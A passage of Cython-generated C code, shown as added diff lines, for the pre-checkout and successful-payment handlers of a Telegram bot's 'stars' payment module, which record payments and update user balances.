__pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("on_pre_checkout_query", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 208, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_pre_checkout_query = __pyx_v_pre_checkout_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_pre_checkout_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_pre_checkout_query); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_14generator4, __pyx_codeobj__27, (PyObject *) __pyx_cur_scope, __pyx_n_s_on_pre_checkout_query, __pyx_n_s_on_pre_checkout_query, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.on_pre_checkout_query", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("on_pre_checkout_query", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 208, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":210 + * @router.pre_checkout_query() + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_pre_checkout_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_ok, Py_True) < 0) __PYX_ERR(0, 210, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 210, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 210, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":208 + * + * + * @router.pre_checkout_query() # <<<<<<<<<<<<<< + * async def on_pre_checkout_query(pre_checkout_query: PreCheckoutQuery): + * await pre_checkout_query.answer(ok=True) + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_AddTraceback("on_pre_checkout_query", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":213 + * + * + * @router.message(F.successful_payment) # <<<<<<<<<<<<<< + * async def on_successful_payment( + * message: types.Message, + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_16on_successful_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_16on_successful_payment = {"on_successful_payment", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_16on_successful_payment, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_16on_successful_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("on_successful_payment (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 213, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "on_successful_payment") < 0)) __PYX_ERR(0, 213, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_message = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("on_successful_payment", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 213, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_15on_successful_payment(__pyx_self, __pyx_v_message); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_15on_successful_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("on_successful_payment", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 213, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_17generator5, __pyx_codeobj__28, (PyObject *) __pyx_cur_scope, __pyx_n_s_on_successful_payment, __pyx_n_s_on_successful_payment, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + double __pyx_t_8; + Py_ssize_t __pyx_t_9; + Py_UCS4 __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + int __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("on_successful_payment", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L10_resume_from_await; + case 2: goto __pyx_L11_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 213, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":217 + * message: types.Message, + * ): + * try: # <<<<<<<<<<<<<< + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + */ + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":218 + * ): + * try: + * user_id = int(message.chat.id) # <<<<<<<<<<<<<< + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 218, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/stars_pay.py":219 + * try: + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) # <<<<<<<<<<<<<< + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(int(user_id), float(amount), "stars") + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_invoice_payload); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_split); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_n_u__29}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_4, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_8 = __Pyx_PyObject_AsDouble(__pyx_t_5); if (unlikely(__pyx_t_8 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_cur_scope->__pyx_v_amount = __pyx_t_8; + + /* "handlers/payments/stars_pay.py":220 + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< + * await add_payment(int(user_id), float(amount), "stars") + * await update_balance(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyTuple_New(4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = 0; + __pyx_t_10 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_9 += 31; + __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_INCREF(__pyx_kp_u_amount_2); + __pyx_t_9 += 10; + __Pyx_GIVEREF(__pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_kp_u_amount_2); + __pyx_t_11 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_12); + __Pyx_GIVEREF(__pyx_t_12); + PyTuple_SET_ITEM(__pyx_t_4, 3, __pyx_t_12); + __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyUnicode_Join(__pyx_t_4, 4, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_12}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/stars_pay.py":221 + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(int(user_id), float(amount), "stars") # <<<<<<<<<<<<<< + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 221, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_12 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 221, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 221, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_11, __pyx_t_12, __pyx_t_4, __pyx_n_u_stars_3}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 3+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 221, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L10_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 221, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 221, __pyx_L4_error) + } + } + + /* "handlers/payments/stars_pay.py":222 + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(int(user_id), float(amount), "stars") + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 222, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 222, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_12 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_12, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_4}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + 